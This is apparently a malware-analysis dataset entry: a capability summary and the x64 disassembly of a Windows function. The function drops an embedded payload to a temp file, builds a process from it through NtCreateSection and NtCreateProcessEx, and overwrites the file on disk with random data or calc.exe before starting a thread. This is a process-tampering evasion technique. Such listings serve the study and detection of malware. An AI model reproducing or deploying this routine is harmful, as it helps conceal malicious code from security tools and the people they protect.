Function at 0x140001628
Capabilities:
Clear file content
Create process on windows
Create thread
Generate random numbers via winapi
Write and execute a file
Write file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r13
push rbp
push r14
push r15
lea rbp, [rax - 0x9c8]
sub rsp, 0xab0
mov rax, qword [0x140025020]
xor rax, rsp
mov qword [rbp + 0x9a8], rax
xor r15d, r15d
mov qword [rbp + 0x900], r15
lea edi, [r15 + 7]
mov qword [rbp + 0x908], rdi
mov word [rbp + 0x8f0], r15w
lea rdx, [rbp + 0x8f0]
lea rcx, str._TEMP_irfrg.exe
call fcn.1400037c8
mov ebx, eax
test eax, eax
js 0x14000205b
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x970], xmm0
movups xmmword [rbp + 0x980], xmm0
movups xmmword [rbp + 0x990], xmm0
mov qword [rbp + 0x9a0], rax
mov qword [rbp + 0x8b0], r15
mov qword [rbp + 0x8b8], r15
lea rdx, [rbp + 0x8f0]
lea rcx, [rbp + 0x8a0]
call fcn.1400013f4
lea r8d, [r15 + 1]
lea rdx, [rbp + 0x8a0]
lea rcx, [rbp + 0x970]
call fcn.140001274
nop
lea rcx, [rbp + 0x8f0]
cmp qword [rbp + 0x908], 8
cmovae rcx, qword [rbp + 0x8f0]
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], 0x80
lea ebx, [rdi - 5]
mov dword [rsp + 0x20], ebx
xor r9d, r9d
mov r8d, edi
mov edx, 0xc0000000
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rcx, rax
mov qword [rbp + 0x970], rax
inc rax
test rax, 0xfffffffffffffffe
je 0x14000177f
mov dword [rbp + 0x8e8], r15d
mov qword [rsp + 0x20], r15
lea r9, [rbp + 0x8e8]
mov r8d, 0x3400
lea rdx, [0x140025aa0]
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x14000177f
mov rcx, qword [rbp + 0x970]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x140001798
call qword [sym.imp.KERNEL32.dll_GetLastError]
movzx ebx, ax
or ebx, 0x80070000
test eax, eax
cmovle ebx, eax
jmp 0x14000204e
xorps xmm0, xmm0
movups xmmword [rbp + 0x8c0], xmm0
or r13, 0xffffffffffffffff
mov qword [rbp + 0x8c0], r13
mov dword [rbp + 0x8c8], 1
mov rax, qword [rbp + 0x970]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0x1000000
mov dword [rsp + 0x20], ebx
xor r9d, r9d
xor r8d, r8d
mov edx, 0xf001f
lea rcx, [rbp + 0x8c0]
call qword [sym.imp.ntdll.dll_NtCreateSection]
mov ebx, eax
test eax, eax
jns 0x1400017f6
bts ebx, 0x1c
jmp 0x14000201f
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x8d0], xmm0
mov qword [rbp + 0x8e0], rax
mov qword [rbp + 0x8d0], r13
mov dword [rbp + 0x8d8], r15d
mov dword [rbp + 0x8e0], 1
mov dword [rsp + 0x40], r15d
mov qword [rsp + 0x38], r15
mov qword [rsp + 0x30], r15
mov rax, qword [rbp + 0x8c0]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 4
mov r9, r13
xor r8d, r8d
mov edx, 0x1fffff
lea rcx, [rbp + 0x8d0]
call qword [sym.imp.ntdll.dll_NtCreateProcessEx]
mov ebx, eax
test eax, eax
js 0x1400018ef
mov rcx, qword [rbp + 0x8c0]
lea rax, [rcx - 1]
cmp rax, 0xfffffffffffffffd
ja 0x140001895
cmp dword [rbp + 0x8c8], r15d
je 0x140001888
call qword [sym.imp.ntdll.dll_NtClose]
jmp 0x14000188e
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rbp + 0x8c0], r13
lea rdx, [rsp + 0x60]
mov rcx, qword [rbp + 0x970]
call fcn.140003038
mov ebx, eax
test eax, eax
js 0x140002012
xorps xmm0, xmm0
movups xmmword [rbp + 0xa0], xmm0
movups xmmword [rbp + 0xb0], xmm0
movups xmmword [rbp + 0xc0], xmm0
mov qword [rsp + 0x20], r15
mov r9d, 0x30
lea r8, [rbp + 0xa0]
xor edx, edx
mov rcx, qword [rbp + 0x8d0]
call qword [sym.imp.ntdll.dll_NtQueryInformationProcess]
mov ebx, eax
test eax, eax
jns 0x1400018f8
bts ebx, 0x1c
jmp 0x140002012
mov ebx, 0x7c8
mov r8d, ebx
xor edx, edx
lea rcx, [rbp + 0xd0]
call fcn.140005f40
mov qword [rsp + 0x20], r15
mov r9d, ebx
lea r8, [rbp + 0xd0]
mov rdx, qword [rbp + 0xa8]
mov rcx, qword [rbp + 0x8d0]
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
jne 0x14000194e
call qword [sym.imp.KERNEL32.dll_GetLastError]
movzx ebx, ax
or ebx, 0x80070000
test eax, eax
cmovle ebx, eax
jmp 0x140002012
mov r14d, dword [rsp + 0x60]
add r14, qword [rbp + 0xe0]
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x910], xmm1
mov qword [rbp + 0x920], r15
mov edx, 0x200
lea rcx, [rbp + 0x910]
call fcn.140002118
mov rsi, qword [rbp + 0x918]
mov rdi, qword [rbp + 0x910]
sub rsi, rdi
mov r9d, 2
mov r8d, esi
mov rdx, rdi
xor ecx, ecx
call qword [sym.imp.bcrypt.dll_BCryptGenRandom]
mov ebx, eax
test eax, eax
js 0x140001ffa
mov qword [rsp + 0x70], rdi
mov qword [rsp + 0x78], rsi
lea rcx, str._SystemRoot_System32calc.exe
call fcn.140003790
test eax, eax
je 0x140001bc0
mov qword [rbp + 0x8b0], r15
mov esi, 7
mov qword [rbp + 0x8b8], rsi
mov word [rbp + 0x8a0], r15w
lea rdx, [rbp + 0x8a0]
lea rcx, str._SystemRoot_System32calc.exe
call fcn.1400037c8
mov ebx, eax
test eax, eax
js 0x140001af8
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x938], xmm0
movups xmmword [rbp + 0x948], xmm0
movups xmmword [rbp + 0x958], xmm0
mov qword [rbp + 0x968], rax
mov qword [rbp - 0x60], r15
mov qword [rbp - 0x58], r15
lea rdx, [rbp + 0x8a0]
lea rcx, [rbp - 0x70]
call fcn.1400013f4
xor r8d, r8d
lea rdx, [rbp - 0x70]
lea rcx, [rbp + 0x938]
call fcn.140001274
nop
lea rcx, [rbp + 0x8a0]
cmp qword [rbp + 0x8b8], 8
cmovae rcx, qword [rbp + 0x8a0]
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, esi
mov edx, 0x80000000
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rcx, rax
mov qword [rbp + 0x938], rax
inc rax
test rax, 0xfffffffffffffffe
jne 0x140001ab7
call qword [sym.imp.KERNEL32.dll_GetLastError]
movzx ebx, ax
or ebx, 0x80070000
test eax, eax
cmovle ebx, eax
jmp 0x140001aeb
mov rdx, qword [rbp + 0x970]
call fcn.140002808
mov ebx, eax
test eax, eax
jns 0x140001b61
cmp eax, 0x800704c8
jne 0x140001aeb
lea rdx, [rsp + 0x68]
mov rcx, qword [rbp + 0x938]
call fcn.14000279c
mov ebx, eax
test eax, eax
jns 0x140001b22
lea rcx, [rbp + 0x938]
call fcn.14000130c
nop
mov rdx, qword [rbp + 0x8b8]
cmp rdx, 8
jb 0x140001ffa
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x8a0]
call fcn.1400015b8
jmp 0x140001ffa
mov dword [rsp + 0x60], r15d
movaps xmm0, xmmword [rsp + 0x70]
movdqa xmmword [rsp + 0x70], xmm0
lea r9, [rsp + 0x60]
lea r8, [rsp + 0x70]
mov rdx, qword [rsp + 0x68]
mov rcx, qword [rbp + 0x970]
call fcn.140002be0
test eax, eax
js 0x140001b61
mov edx, dword [rsp + 0x60]
mov rcx, qword [rbp + 0x970]
call fcn.140002dd4
mov rcx, qword [rbp + 0x938]
lea rax, [rcx - 1]
cmp rax, 0xfffffffffffffffd
ja 0x140001b90
cmp dword [rbp + 0x940], r15d
je 0x140001b83
call qword [sym.imp.ntdll.dll_NtClose]
jmp 0x140001b89
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rbp + 0x938], r13
lea rcx, [rbp + 0x938]
call fcn.14000130c
nop
mov rdx, qword [rbp + 0x8b8]
cmp rdx, 8
jb 0x140001beb
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x8a0]
call fcn.1400015b8
jmp 0x140001beb
movaps xmm0, xmmword [rsp + 0x70]
movdqa xmmword [rsp + 0x70], xmm0
lea rdx, [rsp + 0x70]
mov rcx, qword [rbp + 0x970]
call fcn.140002a00
mov ebx, eax
test eax, eax
js 0x140001ffa
mov esi, 7
mov byte [rbp + 0x958], r15b
mov byte [rbp + 0x98], r15b
movdqa xmm0, xmmword [0x140021d40]
movdqu xmmword [rbp - 0x40], xmm0
mov word [rbp - 0x50], r15w
lea rdx, str.WinSta0Default
lea rcx, [rbp - 0x50]
call fcn.1400025a0
mov edi, 1
mov byte [rbp - 0x30], dil
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x10], xmm0
lea rdx, [rbp + 0x8f0]
lea rcx, [rbp]
call fcn.1400013f4
mov byte [rbp + 0x20], dil
mov rax, qword gs:[0x30]
mov rcx, qword [rax + 0x60]
mov rax, qword [rcx + 0x20]
mov rbx, qword [rax + 0x80]
movabs rax, 0x7ffffffffffffffe
mov rcx, qword [rbp + 0x900]
sub rax, rcx
cmp rax, rdi
jb 0x1400020ae
lea rax, [rbp + 0x8f0]
cmp qword [rbp + 0x908], 8
cmovae rax, qword [rbp + 0x8f0]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rdi
lea rcx, [rbp + 0x8a0]
call fcn.1400021bc
nop
mov r8d, edi
lea rdx, [0x140021b08]
lea rcx, [rbp + 0x8a0]
call fcn.1400022d0
movups xmm1, xmmword [rax]
movups xmmword [rbp - 0x70], xmm1
movups xmm0, xmmword [rax + 0x10]
movups xmmword [rbp - 0x60], xmm0
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], rsi
mov word [rax], r15w
movups xmmword [rbp - 0x28], xmm1
movups xmmword [rbp - 0x18], xmm0
mov qword [rbp - 0x60], r15
mov qword [rbp - 0x58], rsi
mov word [rbp - 0x70], r15w
mov byte [rbp - 8], dil
mov byte [rbp + 0x70], r15b
mov byte [rbp + 0x48], r15b
mov qword [rbp - 0x80], r15
mov qword [rbp - 0x78], r15
lea rdx, [rbp + 0x8f0]
lea rcx, [rsp + 0x70]
call fcn.1400013f4
lea rax, [rbp + 0x938]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x78]
mov qword [rsp + 0x40], rax
lea rax, [rbp - 0x50]
mov qword [rsp + 0x38], rax
lea rax, [rbp]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], rbx
lea rax, [rbp - 0x28]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x50]
lea r8, [rbp + 0x28]
lea rdx, [rsp + 0x70]
mov rcx, qword [rbp + 0x8d0]
call fcn.140003254
mov ebx, eax
cmp byte [rbp + 0x48], r15b
je 0x140001d96
mov rdx, qword [rbp + 0x40]
cmp rdx, 8
jb 0x140001d84
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x28]
call fcn.1400015b8
movdqa xmm0, xmmword [0x140021d40]
movdqu xmmword [rbp + 0x38], xmm0
mov word [rbp + 0x28], r15w
cmp byte [rbp + 0x70], r15b
je 0x140001dc9
mov rdx, qword [rbp + 0x68]
cmp rdx, 8
jb 0x140001db7
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x50]
call fcn.1400015b8
movdqa xmm0, xmmword [0x140021d40]
movdqu xmmword [rbp + 0x60], xmm0
mov word [rbp + 0x50], r15w
cmp byte [rbp - 8], r15b
je 0x140001dfc
mov rdx, qword [rbp - 0x10]
cmp rdx, 8
jb 0x140001dea
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x28]
call fcn.1400015b8
movdqa xmm0, xmmword [0x140021d40]
movdqu xmmword [rbp - 0x18], xmm0
mov word [rbp - 0x28], r15w
mov rdx, qword [rbp + 0x8b8]
cmp rdx, 8
jb 0x140001e1d
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x8a0]
call fcn.1400015b8
mov qword [rbp + 0x8b0], r15
mov qword [rbp + 0x8b8], rsi
mov word [rbp + 0x8a0], r15w
cmp byte [rbp + 0x20], r15b
je 0x140001e66
mov rdx, qword [rbp + 0x18]
cmp rdx, 8
jb 0x140001e54
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp]
call fcn.1400015b8
movdqa xmm0, xmmword [0x140021d40]
movdqu xmmword [rbp + 0x10], xmm0
mov word [rbp], r15w
cmp byte [rbp - 0x30], r15b
je 0x140001e99
mov rdx, qword [rbp - 0x38]
cmp rdx, 8
jb 0x140001e87
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x50]
call fcn.1400015b8
movdqa xmm0, xmmword [0x140021d40]
movdqu xmmword [rbp - 0x40], xmm0
mov word [rbp - 0x50], r15w
cmp byte [rbp + 0x98], r15b
je 0x140001ed5
mov rdx, qword [rbp + 0x90]
cmp rdx, 8
jb 0x140001ec0
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x78]
call fcn.1400015b8
movdqa xmm0, xmmword [0x140021d40]
movdqu xmmword [rbp + 0x88], xmm0
mov word [rbp + 0x78], r15w
cmp byte [rbp + 0x958], r15b
je 0x140001eff
mov rdx, qword [rbp + 0x950]
cmp rdx, 8
jb 0x140001eff
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x938]
call fcn.1400015b8
test ebx, ebx
js 0x140001ff3
mov qword [rbp + 0x930], r15
mov qword [rbp + 0x928], r13
mov qword [rsp + 0x50], r15
mov qword [rsp + 0x48], r15
mov qword [rsp + 0x40], r15
mov qword [rsp + 0x38], r15
mov dword [rsp + 0x30], r15d
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x20], r14
mov r9, qword [rbp + 0x8d0]
xor r8d, r8d
mov edx, 0x1fffff
lea rcx, [rbp + 0x928]
call qword [sym.imp.ntdll.dll_NtCreateThreadEx]
mov ebx, eax
test eax, eax
jns 0x140001f60
bts ebx, 0x1c
jmp 0x140001fc4
mov rcx, qword [rbp + 0x970]
lea rax, [rcx - 1]
cmp rax, 0xfffffffffffffffd
ja 0x140001f8f
cmp dword [rbp + 0x978], r15d
je 0x140001f82
call qword [sym.imp.ntdll.dll_NtClose]
jmp 0x140001f88
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rbp + 0x970], r13
or edx, 0xffffffff
mov rcx, qword [rbp + 0x8d0]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rbp + 0x8e0], r15d
mov dword [rbp + 0x8ec], r15d
lea rdx, [rbp + 0x8ec]
mov rcx, qword [rbp + 0x8d0]
call qword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
mov ebx, r15d
mov rcx, qword [rbp + 0x928]
lea rax, [rcx - 1]
cmp rax, 0xfffffffffffffffd
ja 0x140001ff3
cmp dword [rbp + 0x930], r15d
je 0x140001fe6
call qword [sym.imp.ntdll.dll_NtClose]
jmp 0x140001fec
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rbp + 0x928], r13
mov rdi, qword [rbp + 0x910]
test rdi, rdi
je 0x140002012
mov rdx, qword [rbp + 0x920]
sub rdx, rdi
mov rcx, rdi
call fcn.1400015b8
nop
lea rcx, [rbp + 0x8d0]
call fcn.140001210
nop
mov rcx, qword [rbp + 0x8c0]
lea rax, [rcx - 1]
cmp rax, 0xfffffffffffffffd
ja 0x14000204e
cmp dword [rbp + 0x8c8], r15d
je 0x140002041
call qword [sym.imp.ntdll.dll_NtClose]
jmp 0x140002047
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rbp + 0x8c0], r13
lea rcx, [rbp + 0x970]
call fcn.14000130c
nop
mov rdx, qword [rbp + 0x908]
cmp rdx, 8
jb 0x14000207c
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x8f0]
call fcn.1400015b8
mov eax, ebx
mov rcx, qword [rbp + 0x9a8]
xor rcx, rsp
call fcn.140004200
lea r11, [rsp + 0xab0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r13, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
call fcn.1400011c8
nop
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
xor edi, edi
mov rbx, rcx
cmp byte [rcx + 0x20], dil
je 0x1400020f2
mov rdx, qword [rcx + 0x18]
cmp rdx, 8
jb 0x1400020e3
mov rcx, qword [rcx]
lea rdx, [rdx*2 + 2]
call fcn.1400015b8
mov qword [rbx + 0x10], rdi
mov qword [rbx + 0x18], 7
mov word [rbx], di
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret